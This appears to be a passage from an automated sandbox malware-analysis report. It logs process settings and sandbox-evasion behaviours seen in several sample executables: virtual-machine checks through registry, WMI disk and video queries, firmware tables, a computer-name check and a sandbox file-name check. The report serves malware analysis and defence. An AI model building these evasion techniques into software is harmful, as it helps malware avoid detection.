Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\faischf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\faischf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\faischf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\faischf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\faischf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\faischf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AF9D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\AF9D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\AF9D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\AF9D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\AF9D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\AF9D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\cwischf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\cwischf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\cwischf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\cwischf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\cwischf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\cwischf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Found evasive API chain (may stop execution after checking computer name)

Source: C:\Users\user\AppData\Local\Temp\933A.exe

Evasive API call chain: GetComputerName,DecisionNodes,ExitProcess

graph_13-37384

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\8FEE.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\8FEE.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\8FEE.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (file name check)

Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
